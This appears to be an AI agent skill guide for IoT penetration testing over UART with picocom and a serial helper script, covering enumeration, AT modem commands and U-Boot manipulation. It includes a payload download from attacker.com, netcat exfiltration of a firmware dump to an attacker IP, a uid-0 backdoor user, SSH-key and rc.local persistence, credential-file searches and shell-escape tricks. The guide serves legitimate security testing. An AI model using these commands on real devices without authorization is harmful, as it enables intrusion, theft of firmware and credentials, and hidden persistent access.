brownfinesecurity
Use picocom to interact with IoT device UART consoles for pentesting operations including device enumeration, vulnerability discovery, bootloader manipulation, and gaining root shells. Use when the user needs to interact with embedded devices, IoT hardware, or serial consoles.
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This skill enables interaction with IoT device UART consoles using picocom for security testing and penetration testing operations. It supports bootloader interaction, shell access (with or without authentication), device enumeration, and vulnerability discovery.
sudo pacman -S python-pyserial on Arch, or pip install pyserial)IMPORTANT: This skill includes a Python helper script (serial_helper.py) that provides a clean, reliable interface for serial communication. This is the RECOMMENDED method for interacting with IoT devices.
ALL commands run by Claude will be logged to /tmp/serial_session.log by default.
To observe what Claude is doing in real-time:
# In a separate terminal, run:
tail -f /tmp/serial_session.log
This allows you to watch all serial I/O as it happens without interfering with the connection.
The helper script solves many problems with direct picocom usage:
/tmp/serial_session.log for observationSingle Command:
python3 .claude/skills/picocom/serial_helper.py --device /dev/ttyUSB0 --command "help"
With Custom Prompt (recommended for known devices):
python3 .claude/skills/picocom/serial_helper.py --device /dev/ttyUSB0 --prompt "User@[^>]+>" --command "ifconfig"
Interactive Mode:
python3 .claude/skills/picocom/serial_helper.py --device /dev/ttyUSB0 --interactive
Batch Commands from File:
# Create a file with commands (one per line)
echo -e "help\ndate\nifconfig\nps" > commands.txt
python3 .claude/skills/picocom/serial_helper.py --device /dev/ttyUSB0 --script commands.txt
JSON Output (for parsing):
python3 .claude/skills/picocom/serial_helper.py --device /dev/ttyUSB0 --command "help" --json
Debug Mode:
python3 .claude/skills/picocom/serial_helper.py --device /dev/ttyUSB0 --command "help" --debug
Session Logging (for observation):
# Terminal 1 - Run with logging
python3 .claude/skills/picocom/serial_helper.py \
--device /dev/ttyUSB0 \
--prompt "User@[^>]+>" \
--logfile /tmp/session.log \
--interactive
# Terminal 2 - Watch the session in real-time
tail -f /tmp/session.log
Note: See OBSERVING_SESSIONS.md for comprehensive guide on monitoring serial sessions.
NEW FEATURE: Monitor mode is designed for passive UART monitoring where the device outputs logs without prompts or interaction.
Use cases:
Basic passive monitoring:
python3 .claude/skills/picocom/serial_helper.py \
--device /dev/ttyUSB0 \
--monitor \
--duration 30 \
--logfile /tmp/uart.log
Monitor with external trigger script:
# Run external script after 5 seconds and capture triggered UART output
python3 .claude/skills/picocom/serial_helper.py \
--device /dev/ttyUSB0 \
--monitor \
--duration 60 \
--trigger-script "python3 /path/to/test_script.py" \
--trigger-delay 5 \
--logfile /tmp/triggered_uart.log
Monitor with baseline capture:
# Capture 10s baseline, run trigger at 15s, continue for total 60s
python3 .claude/skills/picocom/serial_helper.py \
--device /dev/ttyUSB0 \
--monitor \
--duration 60 \
--trigger-script "curl http://192.168.1.100/api/reboot" \
--trigger-delay 15 \
--baseline-duration 10 \
--logfile /tmp/reboot_monitor.log
Monitor mode options:
--duration SECONDS - Total monitoring time (default: 30)--trigger-script CMD - External command/script to run during monitoring--trigger-delay SECONDS - When to run trigger (default: 5)--baseline-duration SECONDS - Capture baseline before trigger (default: 0)--logfile FILE - Log all I/O to file--json - Output results in JSON formatOutput includes:
Required (one of):
--command, -c CMD Execute single command
--interactive, -i Enter interactive mode
--script, -s FILE Execute commands from file
--monitor, -m Passive monitoring mode (just listen, no commands)
Connection Options:
--device, -d DEV Serial device (default: /dev/ttyUSB0)
--baud, -b RATE Baud rate (default: 115200)
--timeout, -t SECONDS Command timeout (default: 3.0)
--prompt, -p PATTERN Custom prompt regex pattern
--at-mode, -a AT command mode for cellular/satellite modems
Monitor Mode Options:
--duration SECONDS Monitoring duration (default: 30.0)
--trigger-script CMD External script/command to run during monitoring
--trigger-delay SECONDS Seconds before running trigger (default: 5.0)
--baseline-duration SEC Baseline capture duration (default: 0.0)
Output Options:
--raw, -r Don't clean output (show echoes, prompts)
--json, -j Output in JSON format
--logfile, -l FILE Log all I/O to file (can tail -f in another terminal)
--debug Show debug information
The helper script includes common prompt patterns, but you can specify custom ones:
# Uniview camera
--prompt "User@[^>]+>"
# Standard root/user prompts
--prompt "[#\$]\s*$"
# U-Boot bootloader
--prompt "=>\s*$"
# Custom device
--prompt "MyDevice>"
IMPORTANT: When interacting with AT command interfaces (cellular modems, satellite modems, GPS modules), use the --at-mode flag. AT interfaces do NOT use shell prompts - they respond with OK, ERROR, or specific result codes.
When to use AT mode:
Basic AT command usage:
# Single AT command
python3 .claude/skills/picocom/serial_helper.py \
--device /dev/ttyUSB0 \
--at-mode \
--command "AT" \
--logfile /tmp/serial_session.log
# Get modem info
python3 .claude/skills/picocom/serial_helper.py \
--device /dev/ttyUSB0 \
--at-mode \
--command "ATI" \
--logfile /tmp/serial_session.log
# Get IMEI
python3 .claude/skills/picocom/serial_helper.py \
--device /dev/ttyUSB0 \
--at-mode \
--command "AT+CGSN" \
--logfile /tmp/serial_session.log
AT mode enumeration example:
HELPER="python3 .claude/skills/picocom/serial_helper.py"
DEVICE="/dev/ttyUSB0"
LOGFILE="/tmp/serial_session.log"
# Basic connectivity test
$HELPER --device $DEVICE --at-mode --logfile "$LOGFILE" --command "AT"
# Device identification
$HELPER --device $DEVICE --at-mode --logfile "$LOGFILE" --command "ATI"
$HELPER --device $DEVICE --at-mode --logfile "$LOGFILE" --command "AT+CGMI"
$HELPER --device $DEVICE --at-mode --logfile "$LOGFILE" --command "AT+CGMM"
$HELPER --device $DEVICE --at-mode --logfile "$LOGFILE" --command "AT+CGMR"
# SIM and network info
$HELPER --device $DEVICE --at-mode --logfile "$LOGFILE" --command "AT+CGSN"
$HELPER --device $DEVICE --at-mode --logfile "$LOGFILE" --command "AT+CIMI"
$HELPER --device $DEVICE --at-mode --logfile "$LOGFILE" --command "AT+CCID"
$HELPER --device $DEVICE --at-mode --logfile "$LOGFILE" --command "AT+CSQ"
$HELPER --device $DEVICE --at-mode --logfile "$LOGFILE" --command "AT+CREG?"
$HELPER --device $DEVICE --at-mode --logfile "$LOGFILE" --command "AT+COPS?"
Batch AT commands from file:
# Create AT command script
cat > at_enum.txt << 'EOF'
AT
ATI
AT+CGMI
AT+CGMM
AT+CGMR
AT+CGSN
AT+CSQ
AT+CREG?
AT+COPS?
EOF
# Execute batch
python3 .claude/skills/picocom/serial_helper.py \
--device /dev/ttyUSB0 \
--at-mode \
--script at_enum.txt \
--logfile /tmp/serial_session.log
Interactive AT session:
python3 .claude/skills/picocom/serial_helper.py \
--device /dev/ttyUSB0 \
--at-mode \
--interactive \
--logfile /tmp/serial_session.log
AT mode response handling:
OK - Command succeededERROR - Command failed (generic)+CME ERROR: <code> - Mobile equipment error with code+CMS ERROR: <code> - SMS-related error with codeNO CARRIER - Connection lost/failedCONNECT - Data connection establishedCommon AT command categories for pentesting:
# Network and connectivity
AT+CGDCONT? # PDP context (APN settings)
AT+QIOPEN # Open socket (Quectel)
AT+QISTATE? # Socket state (Quectel)
# Device management
AT+CFUN? # Phone functionality
AT+CPIN? # SIM PIN status
AT+CLCK # Facility lock (SIM lock status)
# Firmware and updates
AT+CGMR # Firmware version
AT+QGMR # Extended firmware info (Quectel)
# Debug/engineering modes (may expose sensitive info)
AT+QENG # Engineering mode (Quectel)
AT$QCPWD # Password commands (Qualcomm)
Here's a complete example of safely enumerating a device:
# Set variables for convenience
HELPER="python3 .claude/skills/picocom/serial_helper.py"
DEVICE="/dev/ttyUSB0"
PROMPT="User@[^>]+>" # Adjust for your device
LOGFILE="/tmp/serial_session.log"
# Get available commands
$HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --command "help"
# System information
$HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --command "date"
$HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --command "runtime"
# Network configuration
$HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --command "ifconfig"
$HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --command "route"
# Process listing (may need longer timeout)
$HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --timeout 5 --command "ps"
# File system exploration
$HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --command "ls"
$HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --command "ls /etc"
# Device identifiers
$HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --command "getudid"
$HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --command "catmwarestate"
IMPORTANT FOR CLAUDE CODE: When using this skill, ALWAYS include --logfile /tmp/serial_session.log in every command so the user can monitor activity with tail -f /tmp/serial_session.log.
A common IoT pentesting scenario: testing if network requests, API calls, or hardware events trigger debug output on UART.
Example: Testing if API requests generate UART logs
# Monitor UART while sending network request
python3 .claude/skills/picocom/serial_helper.py \
--device /dev/ttyUSB0 \
--monitor \
--duration 30 \
--trigger-script "curl -X POST http://192.168.1.100/api/update" \
--trigger-delay 5 \
--logfile /tmp/api_test.log
# Review what the device logged when API was called
cat /tmp/api_test.log
Example: Testing authentication attempts
# Monitor UART during login attempts
python3 .claude/skills/picocom/serial_helper.py \
--device /dev/ttyUSB0 \
--monitor \
--duration 45 \
--trigger-script "python3 brute_force_login.py" \
--trigger-delay 10 \
--baseline-duration 5 \
--logfile /tmp/auth_test.log \
--json > /tmp/auth_results.json
Example: Boot sequence analysis
# Capture device boot logs (reboot via network API)
python3 .claude/skills/picocom/serial_helper.py \
--device /dev/ttyUSB0 \
--monitor \
--duration 120 \
--trigger-script "curl http://192.168.1.100/api/reboot" \
--trigger-delay 5 \
--logfile /tmp/boot_sequence.log
Why this is useful for pentesting:
IMPORTANT FOR CLAUDE CODE: When using this skill, ALWAYS include --logfile /tmp/serial_session.log in every command so the user can monitor activity with tail -f /tmp/serial_session.log.
If you need direct picocom access (e.g., for bootloader interaction during boot), you can use picocom directly. However, this is more complex and error-prone.
CRITICAL: picocom runs interactively and CANNOT be controlled via standard stdin/stdout pipes. Use the following approach:
run_in_background: trueCtrl-A Ctrl-S to enter send mode, or by writing to the device file directlyDefault connection command:
picocom -b 115200 --nolock --omap crlf --echo /dev/ttyUSB0
Defaults (unless specified otherwise):
--nolock: Prevents file locking issues unless user specifically requests otherwiseAlternative baud rates (if 115200 doesn't work):
Alternative device paths:
Essential picocom options:
-b or --baud: Set baud rate (use 115200 by default)--nolock: Disable file locking (ALWAYS use unless user asks not to)--omap crlf: Map output CR to CRLF (helps with formatting)--echo: Enable local echo (see what you type)--logfile <file>: Log all session output to a file (recommended)-q or --quiet: Suppress picocom status messages--imap lfcrlf: Map LF to CRLF on input (sometimes needed)After connecting, you need to identify what state the device is in:
a) Blank/Silent Console:
b) Bootloader (U-Boot, etc.):
U-Boot>, =>, uboot>, Boot>c) Login Prompt:
login: or username: promptsd) Shell Access:
#, $, >, or custom promptsIMPORTANT: The vast majority of IoT devices use BusyBox, a lightweight suite of Unix utilities designed for embedded systems. BusyBox provides a minimal shell environment with limited command functionality.
Identifying BusyBox:
# Check what shell you're using
busybox
busybox --help
# Or check symlinks
ls -la /bin/sh
# Often shows: /bin/sh -> /bin/busybox
# List available BusyBox applets
busybox --list
BusyBox Limitations:
Common BusyBox commands available:
# Core utilities (usually available)
cat, ls, cd, pwd, echo, cp, mv, rm, mkdir, chmod, chown
ps, kill, top, free, df, mount, umount
grep, find, sed, awk (limited versions)
ifconfig, route, ping, netstat, telnet
vi (basic text editor - no syntax highlighting)
# Check what's available
busybox --list | sort
ls /bin /sbin /usr/bin /usr/sbin
BusyBox-specific considerations for pentesting:
ps output format may differ from standard LinuxUseful BusyBox commands for enumeration:
# Check BusyBox version (may have known vulnerabilities)
busybox | head -1
# Network utilities often available
nc -l -p 4444 # Netcat listener
wget http://attacker.com/shell.sh
ftpget server file
telnet 192.168.1.1
# httpd (web server) often included
busybox httpd -p 8080 -h /tmp # Quick file sharing
Reference Documentation:
Sending commands to picocom:
Since picocom is interactive, you have several options:
Option A: Write directly to the device file
echo "command" > /dev/ttyUSB0
Option B: Use expect or similar tools
expect -c "
spawn picocom -b 115200 --nolock /dev/ttyUSB0
send \"command\r\"
expect \"#\"
exit
"
Option C: Use screen instead of picocom (may be easier to script)
screen /dev/ttyUSB0 115200
Picocom keyboard shortcuts:
Ctrl-A Ctrl-X: Exit picocomCtrl-A Ctrl-Q: Quit without resettingCtrl-A Ctrl-U: Increase baud rateCtrl-A Ctrl-D: Decrease baud rateCtrl-A Ctrl-T: Toggle local echoCtrl-A Ctrl-S: Send file (can be used to send commands)Once you have shell access, gather the following information:
System Information:
# Kernel and system info
uname -a
cat /proc/version
cat /proc/cpuinfo
cat /proc/meminfo
# Distribution/firmware info
cat /etc/issue
cat /etc/*release*
cat /etc/*version*
# Hostname and network
hostname
cat /etc/hostname
ifconfig -a
ip addr show
cat /etc/network/interfaces
cat /etc/resolv.conf
# Mounted filesystems
mount
cat /proc/mounts
df -h
# Running processes
ps aux
ps -ef
top -b -n 1
User and Permission Information:
# Current user context
id
whoami
groups
# User accounts
cat /etc/passwd
cat /etc/shadow # If readable - major security issue!
cat /etc/group
# Sudo/privilege info
sudo -l
cat /etc/sudoers
Network Services:
# Listening services
netstat -tulpn
ss -tulpn
lsof -i
# Firewall rules
iptables -L -n -v
cat /etc/iptables/*
Interesting Files and Directories:
# Configuration files
ls -la /etc/
find /etc/ -type f -readable
# Web server configs
ls -la /etc/nginx/
ls -la /etc/apache2/
ls -la /var/www/
# Credentials and keys
find / -name "*.pem" 2>/dev/null
find / -name "*.key" 2>/dev/null
find / -name "*password*" 2>/dev/null
find / -name "*credential*" 2>/dev/null
grep -r "password" /etc/ 2>/dev/null
# SUID/SGID binaries (privilege escalation vectors)
find / -perm -4000 -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null
# World-writable files/directories
find / -perm -2 -type f 2>/dev/null
find / -perm -2 -type d 2>/dev/null
# Development/debugging tools
which gdb gcc python perl ruby tcpdump
ls /usr/bin/ /bin/ /sbin/ /usr/sbin/
If you have access to the bootloader (U-Boot, etc.):
Common U-Boot commands:
# Print environment variables
printenv
# Modify boot arguments (e.g., init=/bin/sh for root shell)
setenv bootargs "${bootargs} init=/bin/sh"
saveenv
boot
# Alternative: single user mode
setenv bootargs "${bootargs} single"
setenv bootargs "${bootargs} init=/bin/bash"
# Boot from network (TFTP) for custom firmware
setenv serverip 192.168.1.100
setenv ipaddr 192.168.1.200
tftpboot 0x80000000 custom_image.bin
bootm 0x80000000
# Memory examination
md <address> # Memory display
mm <address> # Memory modify
mw <address> <value> # Memory write
# Flash operations
erase <start> <end>
cp.b <source> <dest> <count>
# Other useful commands
help
bdinfo # Board info
version
reset
Check for common vulnerabilities:
# Kernel exploits
uname -r # Check kernel version for known exploits
# Check for exploitable services
ps aux | grep root
# Writable service files
find /etc/init.d/ -writable 2>/dev/null
find /lib/systemd/system/ -writable 2>/dev/null
# Cron jobs
crontab -l
ls -la /etc/cron*
cat /etc/crontab
Establish additional access methods:
# Add SSH access
mkdir -p /root/.ssh
echo "your_ssh_public_key" >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
chmod 700 /root/.ssh
# Start SSH service (if not running)
/etc/init.d/ssh start
# or
/etc/init.d/sshd start
# or
/etc/init.d/dropbear start # Common on embedded devices
# Add a backdoor user
echo "backdoor:x:0:0::/root:/bin/sh" >> /etc/passwd
passwd backdoor
# Add to startup scripts
echo "/path/to/backdoor &" >> /etc/rc.local
Extract firmware for offline analysis:
# Find MTD partitions (common on embedded devices)
cat /proc/mtd
cat /proc/partitions
# Dump flash partitions
dd if=/dev/mtd0 of=/tmp/bootloader.bin
dd if=/dev/mtd1 of=/tmp/kernel.bin
dd if=/dev/mtd2 of=/tmp/rootfs.bin
# Copy to external storage or network
# If network is available:
nc attacker_ip 4444 < /tmp/rootfs.bin
# If USB storage is available:
mount /dev/sda1 /mnt
cp /tmp/*.bin /mnt/
umount /mnt
To exit picocom:
Ctrl-A followed by Ctrl-Xkillall picocom from another terminalIf you need to kill the background shell:
# Connect
picocom -b 115200 --nolock /dev/ttyUSB0
# Press Enter, get root shell immediately
# Enumerate and exploit
# Connect and see login prompt
# Try default credentials:
# - root/root
# - admin/admin
# - root/(empty)
# Search online for device-specific defaults
# Interrupt boot countdown (press Space/Enter)
# Get U-Boot prompt
setenv bootargs "${bootargs} init=/bin/sh"
boot
# Get root shell without authentication
# If you get a limited shell:
# Try common escape techniques:
echo $SHELL
/bin/sh
/bin/bash
vi # Then :!/bin/sh
less /etc/passwd # Then !/bin/sh
find / -exec /bin/sh \;
awk 'BEGIN {system("/bin/sh")}'
--logfile session.logProblem: Garbled text or strange characters
Problem: No output at all
Problem: "Device busy" or "Permission denied"
sudo usermod -a -G dialout $USER)Problem: Commands not echoing
--echo flag or press Ctrl-A Ctrl-T in picocomProblem: Wrong line endings (extra lines or no line breaks)
--omap crlf or --imap lfcrlf options# Basic connection (using defaults)
picocom -b 115200 --nolock --echo --omap crlf /dev/ttyUSB0
# Connection with logging
picocom -b 115200 --nolock --echo --logfile iot_pentest.log /dev/ttyUSB0
# Quiet mode (suppress picocom messages)
picocom -b 115200 --nolock -q --echo /dev/ttyUSB0
# Run in background for scripted interaction
picocom -b 115200 --nolock /dev/ttyUSB0 &
# Then use BashOutput to monitor
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